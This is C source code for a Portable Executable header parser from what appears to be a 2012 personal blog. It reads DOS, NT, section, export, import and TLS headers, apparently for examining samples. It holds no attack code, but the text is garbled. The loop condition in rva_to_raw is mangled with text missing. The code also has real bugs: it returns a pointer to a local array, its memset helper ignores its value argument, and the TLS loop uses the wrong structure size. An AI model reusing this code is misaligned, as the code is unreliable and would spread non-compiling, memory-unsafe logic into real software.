	// debug("\n++++++++++++++\n 1offset = %X\n",*offset);
	// debug("\n++++++++++++++\n file length = %X\n",get_file_length());
	// debug("\n++++++++++++++\n get_byte(*offset) = %X\n",get_byte(*offset));
	// #endif
	char res[CHARARRAYMAXSIZE];
	//reset to zero, not working, bug?
	for(int a = 0; a < 15; a++)//was going to use CHARARRAYMAXSIZE, but can't set to  larger than 15 otherwise code will stop here
	{
		res[a] = 0;
	}

	int i = 0;
	while (get_byte(*offset) != 0 && i < CHARARRAYMAXSIZE)
	{
		res[i] = get_byte(*offset);
		// #ifdef DEBUG
		// debug("\n++++++++++++++\n 2res = %s\n",res);
		// #endif
		*offset += sizeof(char);
		i ++;
	}
	return res;
}

//--------------------------------------
// Helper function as memset
// Author:Neo Tan
// Comment:
//--------------------------------------
void * neomemset(void * ptr, char value, size_t num )
{
	char* m = ptr;

	for(int i = 0; i < num; i++)
	{
		*(m+i) = 0;
	}

	return ptr;
}

//--------------------------------------
// Helper function to convert RVA to Raw offset
// args: should be self-explaining
// returns: 0 if fails
// Author:Neo Tan
// Comment:
//--------------------------------------
DWORD rva_to_raw(IMAGE_NT_HEADERS32 *pPEHeader, IMAGE_SECTION_HEADER *pSecHeader, DWORD rva)
{
	DWORD rawOffset = 0;
	int secIndex = -1;//the section the rva at
	for (int i = 0; i < pPEHeader->FileHeader.NumberOfSections; i++)
	{
		if (pSecHeader[i].VirtualAddress FileHeader.NumberOfSections) |
			( pSecHeader[i + 1].VirtualAddress > rva))//the last section or less than the next section VA
			{
				secIndex = i;
			}
		}
	}

	if (secIndex != -1)
	{
		rawOffset = rva - pSecHeader[secIndex].VirtualAddress + pSecHeader[secIndex].PointerToRawData;
	}

	#ifdef DEBUG
	debug("\n++++++++++++++\n rva = %X\n",rva);
	debug("\n++++++++++++++\n secIndex = %X\n",secIndex);
	debug("\n++++++++++++++\n rawOffset = %X\n",rawOffset);
	#endif
	return rawOffset;
}

//--------------------------------------
// PE Parser
// arg1: parse offset, arg2: output pointer
// return: void
// Author:Neo Tan
// Comment:
//--------------------------------------
void pe_parse(DWORD parseOffset, PE_LAYOUT *out)
{
//parse IMAGE_DOS_HEADER
	IMAGE_DOS_HEADER *imagehdr = allocate(sizeof(IMAGE_DOS_HEADER));

	imagehdr->e_magic = getword(&parseOffset);

	#ifdef DEBUG
	debug("\n++++++++++++++\n parseOffset = %X\n",parseOffset);
	debug("\n++++++++++++++\n imagehdr->e_magic = %X\n",imagehdr->e_magic);
	#endif

	imagehdr->e_cblp = getword(&parseOffset);
	imagehdr->e_cp = getword(&parseOffset);
	imagehdr->e_crlc = getword(&parseOffset);
	imagehdr->e_cparhdr = getword(&parseOffset);
	imagehdr->e_minalloc = getword(&parseOffset);
	imagehdr->e_maxalloc = getword(&parseOffset);
	imagehdr->e_ss = getword(&parseOffset);
	imagehdr->e_sp = getword(&parseOffset);
	imagehdr->e_csum = getword(&parseOffset);
	imagehdr->e_ip = getword(&parseOffset);
	imagehdr->e_cs = getword(&parseOffset);
	imagehdr->e_lfarlc = getword(&parseOffset);
	imagehdr->e_ovno = getword(&parseOffset);
	imagehdr->e_res[0] = getword(&parseOffset);
	imagehdr->e_res[1] = getword(&parseOffset);
	imagehdr->e_res[2] = getword(&parseOffset);
	imagehdr->e_res[3] = getword(&parseOffset);
	imagehdr->e_oemid = getword(&parseOffset);
	imagehdr->e_oeminfo = getword(&parseOffset);
	for (int i =0; i < 10; i ++) 	{ 		imagehdr->e_res2[i] = getword(&parseOffset);
	}

	imagehdr->e_lfanew =  getword(&parseOffset);// File address of new exe header
	#ifdef DEBUG
	debug("\n++++++++++++++\n imagehdr->e_lfanew = %X\n",imagehdr->e_lfanew);
	#endif

//parse IMAGE_NT_HEADERS32
	parseOffset = imagehdr->e_lfanew;
	IMAGE_NT_HEADERS32 * pehdr32 = allocate(sizeof(IMAGE_NT_HEADERS32));
	pehdr32->Signature = getdword(&parseOffset);
	#ifdef DEBUG
	debug("\n++++++++++++++\n pehdr32->Signature = %X\n",pehdr32->Signature);
	#endif

	//parse IMAGE_FILE_HEADER
	IMAGE_FILE_HEADER *pfileHeader = (IMAGE_FILE_HEADER *)&pehdr32->FileHeader;
	pfileHeader->Machine =  getword(&parseOffset);
	pfileHeader->NumberOfSections =  getword(&parseOffset);
	pfileHeader->TimeDateStamp =  getdword(&parseOffset);
	pfileHeader->PointerToSymbolTable =  getdword(&parseOffset);
	pfileHeader->NumberOfSymbols =  getdword(&parseOffset);
	pfileHeader->SizeOfOptionalHeader =  getword(&parseOffset);
	pfileHeader->Characteristics =  getword(&parseOffset);
	#ifdef DEBUG
	debug("\n++++++++++++++\n pehdr32->FileHeader.Machine = %X\n", pehdr32->FileHeader.Machine);
	debug("\n++++++++++++++\n pehdr32->FileHeader.NumberOfSections = %X\n", pehdr32->FileHeader.NumberOfSections);
	debug("\n++++++++++++++\n pehdr32->FileHeader.Characteristics = %X\n", pehdr32->FileHeader.Characteristics);
	#endif
	//parse IMAGE_OPTIONAL_HEADER32
	IMAGE_OPTIONAL_HEADER32 *poptHeader = (IMAGE_OPTIONAL_HEADER32 *)&pehdr32->OptionalHeader;
	poptHeader->Magic = getword(&parseOffset);
	poptHeader->MajorLinkerVersion = getbyte(&parseOffset);
	poptHeader->MinorLinkerVersion = getbyte(&parseOffset);
	poptHeader->SizeOfCode = getdword(&parseOffset);
	poptHeader->SizeOfInitializedData = getdword(&parseOffset);
	poptHeader->SizeOfUninitializedData = getdword(&parseOffset);
	poptHeader->AddressOfEntryPoint = getdword(&parseOffset);
	poptHeader->BaseOfCode = getdword(&parseOffset);
	poptHeader->BaseOfData = getdword(&parseOffset);
	poptHeader->ImageBase = getdword(&parseOffset);
	poptHeader->SectionAlignment = getdword(&parseOffset);
	poptHeader->FileAlignment = getdword(&parseOffset);
	poptHeader->MajorOperatingSystemVersion = getword(&parseOffset);
	poptHeader->MinorOperatingSystemVersion = getword(&parseOffset);
	poptHeader->MajorImageVersion = getword(&parseOffset);
	poptHeader->MinorImageVersion = getword(&parseOffset);
	poptHeader->MajorSubsystemVersion = getword(&parseOffset);
	poptHeader->MinorSubsystemVersion = getword(&parseOffset);
	poptHeader->Win32VersionValue = getdword(&parseOffset);
	poptHeader->SizeOfImage = getdword(&parseOffset);
	poptHeader->SizeOfHeaders = getdword(&parseOffset);
	poptHeader->CheckSum = getdword(&parseOffset);
	poptHeader->Subsystem = getword(&parseOffset);
	poptHeader->DllCharacteristics = getword(&parseOffset);
	poptHeader->SizeOfStackReserve = getdword(&parseOffset);
	poptHeader->SizeOfStackCommit = getdword(&parseOffset);
	poptHeader->SizeOfHeapReserve = getdword(&parseOffset);
	poptHeader->SizeOfHeapCommit = getdword(&parseOffset);
	poptHeader->LoaderFlags = getdword(&parseOffset);
	poptHeader->NumberOfRvaAndSizes = getdword(&parseOffset);
	#ifdef DEBUG
	debug("\n++++++++++++++\n pehdr32->OptionalHeader.Magic = %X\n", pehdr32->OptionalHeader.Magic);//usually == IMAGE_NT_OPTIONAL_HDR32_MAGIC
	debug("\n++++++++++++++\n pehdr32->OptionalHeader.NumberOfRvaAndSizes = %X\n", pehdr32->OptionalHeader.NumberOfRvaAndSizes);//usually == IMAGE_NUMBEROF_DIRECTORY_ENTRIES
	#endif
	//some samples use extremely large NumberOfRvaAndSizes, need to do some fix here, can use this characteristic as a filter
	if ((poptHeader->NumberOfRvaAndSizes >  IMAGE_NUMBEROF_DIRECTORY_ENTRIES) |
	(poptHeader->NumberOfRvaAndSizes < IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 3)) 	{ 		debug("!!!!!!!!!!!!!!!!!!!!!!!!abnormal NumberOfRvaAndSizes = %X!!!!!!!!!!!!!!!!!!!!!!!!\n\n", poptHeader->NumberOfRvaAndSizes);
		//poptHeader->NumberOfRvaAndSizes = IMAGE_NUMBEROF_DIRECTORY_ENTRIES;
	}

	//parse IMAGE_DATA_DIRECTORY
	IMAGE_DATA_DIRECTORY *pdd = (IMAGE_DATA_DIRECTORY*)&poptHeader->DataDirectory;
	for(int i = 0; i < IMAGE_NUMBEROF_DIRECTORY_ENTRIES; i++) 	{ 		pdd[i].VirtualAddress = getdword(&parseOffset); 		pdd[i].Size = getdword(&parseOffset); 	} 	#ifdef DEBUG 	debug("\n++++++++++++++\n IAT RVA = %X\n", pehdr32->OptionalHeader.DataDirectory[0xC].VirtualAddress);
	#endif

//parse IMAGE_SECTION_HEADER
	IMAGE_SECTION_HEADER *ish = allocate(pehdr32->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER));
	#ifdef DEBUG
	debug("\n++++++++++++++\nsizeof(IMAGE_SECTION_HEADER)= %X\n", sizeof(IMAGE_SECTION_HEADER));
	#endif
	for(int i = 0; i < pehdr32->FileHeader.NumberOfSections; i++)
	{
		for(int j = 0; j < IMAGE_SIZEOF_SHORT_NAME; j++) 		{ 			ish[i].Name[j] = getbyte(&parseOffset); 		} 		//ish[i].PhysicalAddress = getdword(&parseOffset); 		ish[i].Misc.VirtualSize = getdword(&parseOffset); 		ish[i].VirtualAddress = getdword(&parseOffset); 		ish[i].SizeOfRawData = getdword(&parseOffset); 		ish[i].PointerToRawData = getdword(&parseOffset); 		ish[i].PointerToRelocations = getdword(&parseOffset); 		ish[i].PointerToLinenumbers = getdword(&parseOffset); 		ish[i].NumberOfRelocations = getword(&parseOffset); 		ish[i].NumberOfLinenumbers = getword(&parseOffset); 		ish[i].Characteristics = getdword(&parseOffset); 	} 	#ifdef DEBUG 	debug("\n++++++++++++++\n ish[4].Name[1]= %c\n", ish[4].Name[1]); 	debug("\n++++++++++++++\n ish[4].Misc= %X\n", ish[4].Misc); 	#endif 	 //parse IMAGE_EXPORT_DIRECTORY 	IMAGE_EXPORT_DIRECTORY *ied = allocate(sizeof(IMAGE_EXPORT_DIRECTORY)); 	//neomemset(ied, 0, sizeof(IMAGE_EXPORT_DIRECTORY));//will cause error because maybe the 196k bufferlimit bug? 	if (pehdr32->OptionalHeader.DataDirectory[0].VirtualAddress != 0)//there is a export table
	{
		parseOffset = rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[0].VirtualAddress);//get the rawoffset of Export Table

		ied->Characteristics = getdword(&parseOffset);
		ied->TimeDateStamp = getdword(&parseOffset);
		ied->MajorVersion = getword(&parseOffset);
		ied->MinorVersion = getword(&parseOffset);
		ied->Name = getdword(&parseOffset);
		ied->Base = getdword(&parseOffset);
		ied->NumberOfFunctions = getdword(&parseOffset);
		ied->NumberOfNames = getdword(&parseOffset);
		ied->AddressOfFunctions = getdword(&parseOffset);
		ied->AddressOfNames = getdword(&parseOffset);
		ied->AddressOfNameOrdinals = getdword(&parseOffset);
		#ifdef DEBUG
		uint32_t fileLength = get_file_length();
		debug("\n++++++++++++++\n parseOffset = %X\n", parseOffset);
		debug("\n++++++++++++++\n get_file_length() = %X\n", fileLength);
		debug("\n++++++++++++++\n ied->AddressOfNameOrdinals  = %X\n", ied->AddressOfNameOrdinals );
		#endif
	}

//parse IMAGE_IMPORT_DESCRIPTOR
	IMAGE_IMPORT_DESCRIPTOR *iid = allocate(pehdr32->OptionalHeader.DataDirectory[1].Size);//structsize*(tablesize/structsize)
	//neomemset(iid, 0, pehdr32->OptionalHeader.DataDirectory[1].Size);

	if (pehdr32->OptionalHeader.DataDirectory[1].VirtualAddress != 0)//there is a import table
	{
		parseOffset = rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[1].VirtualAddress);//get the rawoffset of Export Table
		#ifdef DEBUG
		debug("\n++++++++++++++\n rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[1].VirtualAddress) = %X\n", rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[1].VirtualAddress));
		#endif
		for(int i = 0; i < pehdr32->OptionalHeader.DataDirectory[1].Size/sizeof(IMAGE_IMPORT_DESCRIPTOR); i++)
		{
			iid[i].OriginalFirstThunk = getdword(&parseOffset);
			iid[i].TimeDateStamp = getdword(&parseOffset);
			iid[i].ForwarderChain = getdword(&parseOffset);
			iid[i].Name = getdword(&parseOffset);
			iid[i].FirstThunk = getdword(&parseOffset);
		}
		#ifdef DEBUG
		debug("\n++++++++++++++\n iid[0].FirstThunk = %X\n", iid[0].FirstThunk);
		#endif
	}

//parse IMAGE_TLS_DIRECTORY
	IMAGE_TLS_DIRECTORY *itd = allocate(pehdr32->OptionalHeader.DataDirectory[9].Size);
	//neomemset(itd, 0, pehdr32->OptionalHeader.DataDirectory[9].Size);
	#ifdef DEBUG
	debug("\n++++++++++++++\n pehdr32->OptionalHeader.DataDirectory[9].Size = %X\n", pehdr32->OptionalHeader.DataDirectory[9].Size);
	#endif
	if (pehdr32->OptionalHeader.DataDirectory[9].Size != 0)//there is a TLS table
	{
		parseOffset = rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[9].VirtualAddress);//get the rawoffset of Export Table
		#ifdef DEBUG
		debug("\n++++++++++++++\n rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[9].VirtualAddress) = %X\n", rva_to_raw(pehdr32, ish, pehdr32->OptionalHeader.DataDirectory[9].VirtualAddress));
		#endif
		for(int i = 0; i < pehdr32->OptionalHeader.DataDirectory[9].Size/sizeof(IMAGE_IMPORT_DESCRIPTOR); i++)
		{
			itd[i].StartAddressOfRawData = getdword(&parseOffset);
			itd[i].EndAddressOfRawData = getdword(&parseOffset);
			itd[i].AddressOfIndex = getdword(&parseOffset);
			itd[i].AddressOfCallBacks = getdword(&parseOffset);
			itd[i].SizeOfZeroFill = getdword(&parseOffset);
			itd[i].Characteristics = getdword(&parseOffset);
		}
		#ifdef DEBUG
		debug("\n++++++++++++++\n itd[0].AddressOfCallBacks = %X\n", itd[0].AddressOfCallBacks );
		#endif
	}

	out->pDosHeader = imagehdr;
	out->pPEHeader = pehdr32;
	out->pSecHeader = ish;
	out->pExportDir = ied;
	out->pImportDir = iid;
	out->pTLSDir = itd;
	return;
}
© 2012 Neo Tan's Blog Suffusion theme by Sayontan Sinha